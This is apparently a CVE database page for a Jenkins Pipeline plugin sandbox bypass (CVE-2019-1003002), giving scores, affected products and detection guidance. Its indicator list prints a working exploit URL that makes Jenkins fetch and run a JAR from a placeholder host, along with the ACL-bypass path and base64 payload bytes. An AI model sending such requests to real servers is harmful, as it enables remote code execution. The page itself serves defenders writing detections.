cbcvebase.
CVE-2019-1003002
published 2019-01-22

CVE-2019-1003002: A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipel…

PriorityP278high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
81.36%
99.6th percentile
A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipeline/modeldefinition/parser/Converter.groovy that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.

Affected

6 ranges
VendorProductVersion rangeFixed in
jenkinsdeclarative_plugin——
jenkinsgroovy_plugin——
jenkinspipeline<= 1.3.3—
jenkinsscript_security_plugin——
jenkins_projectpipeline_declarative_plugin——
redhatopenshift_container_platform——

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;↗
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile↗
pathMETA-INF/services/org.codehaus.groovy.plugins.Runners↗
filenamepoc-1.jar↗
otherContent-Type: application/java-archive (payload JAR delivery)↗
bytes↗
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwALAAAA
  • →Detect exploitation attempts by monitoring HTTP requests to the Jenkins checkScriptCompile endpoint containing @Grab, @GrabResolver, or @GrabConfig annotations in the 'value' parameter — these are the AST-transforming annotations used to trigger the sandbox bypass. ↗
  • →Alert on HTTP GET/POST requests to the path pattern */descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile with query parameters containing @Grab or @GrabResolver strings. ↗
  • →Monitor Jenkins master outbound HTTP connections to external hosts fetching .jar files — the exploit causes Jenkins/Groovy/Ivy to fetch a malicious JAR over plain HTTP. The JAR path follows the pattern /<vendor>/<app>/<version>/<app>-<version>.jar. ↗
  • →Look for creation of files under $HOME/.groovy/grapes/ on the Jenkins master filesystem, which is where the malicious Grape/Ivy-fetched JAR artifacts are cached after exploitation. ↗
  • →Inspect JAR files served to Jenkins for the presence of META-INF/services/org.codehaus.groovy.plugins.Runners — this service-loader file is the mechanism used to execute the malicious payload class. ↗
  • →The Metasploit module uses the X-Jenkins response header to fingerprint the target version; defenders can use the presence of this header combined with version <= 2.137 as a signal that the host may be targeted. ↗
  • ·Both the pipeline validation REST APIs AND actual script/pipeline execution are affected — patching must cover both code paths, not just the UI validation endpoint. ↗
  • ·The vulnerability is exploitable by users with only Overall/Read permission, meaning it is not limited to administrators or users with job-creation rights. ↗
  • ·The Metasploit module deliberately avoids randomizing the username segment ('admin') in the ACL bypass path due to a separate known issue (CVE-2018-1000408); detection rules should not rely on a variable username in that path segment. ↗
  • ·The exploit's HTTP file server responds with a bogus text response to any URI that does not match the exact payload JAR path, and returns 404 for HEAD requests to non-payload URIs — network-level detection should focus on the specific JAR fetch pattern, not generic HTTP traffic. ↗

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.